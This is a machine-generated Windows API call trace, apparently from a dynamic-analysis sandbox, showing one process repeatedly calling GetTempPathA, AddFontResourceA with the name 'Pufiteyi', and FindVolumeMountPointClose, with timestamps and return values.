	[0064.546] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.546] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.548] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.548] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.548] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.551] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.551] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.551] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.554] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.554] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.554] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.556] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.557] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.557] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.559] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.559] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.559] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.562] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.562] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.562] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.564] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.564] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.564] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.567] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.567] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.567] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.569] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.569] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.569] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.603] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.603] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.603] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.606] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.606] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.606] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.608] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.608] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.608] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.611] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.611] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.611] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.613] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.613] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.613] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.615] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.615] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.615] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.617] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.617] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.618] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.619] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.619] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.619] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.621] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.621] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.621] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.623] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.623] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.623] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.625] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.625] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.625] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.627] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.627] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.627] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.629] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.629] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.629] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.631] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.631] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.631] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.636] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.636] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.636] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.638] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.638] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.638] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.640] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.640] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.640] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.642] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.642] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.642] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.644] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.644] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.644] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.649] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.649] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.649] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.651] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.651] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.651] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.653] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.653] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.653] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.656] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.656] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.656] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.659] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.659] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.659] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.662] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.662] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.662] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.665] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.665] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.665] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.668] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.668] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.668] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.671] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.671] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.671] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.673] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.673] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.673] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.676] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.676] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.676] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.679] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.679] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.679] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.693] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.693] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.693] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.696] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.696] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.696] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.699] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.699] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.699] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.702] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.702] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.702] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.704] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.704] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.705] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.707] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.707] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.707] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.710] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.710] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.710] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.712] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.712] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.712] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.714] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.714] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.714] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.716] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.716] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.716] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.719] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.719] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.719] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.721] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
	[0064.721] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x19fae8 | out: lpBuffer="\x02\x03 \x02\x02\x03\x01\x03H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x12\x03\x10\x02\x10\x020\x02\x10\x02\x10\x02\x10\x02\x10\x02þóÇw\x19\x8f\x0b H\x04") returned 0x26
	[0064.721] AddFontResourceA (param_1="Pufiteyi") returned 0
	[0064.723] FindVolumeMountPointClose (hFindVolumeMountPoint=0x0) returned 0
